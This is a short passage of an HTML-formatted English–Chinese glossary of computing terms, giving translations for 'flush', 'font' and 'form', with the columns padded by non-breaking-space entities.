/>flush&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 清理、扫清&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;刷新<br />font&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;字型&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;字体<br />form&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;表单（programming 用语）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;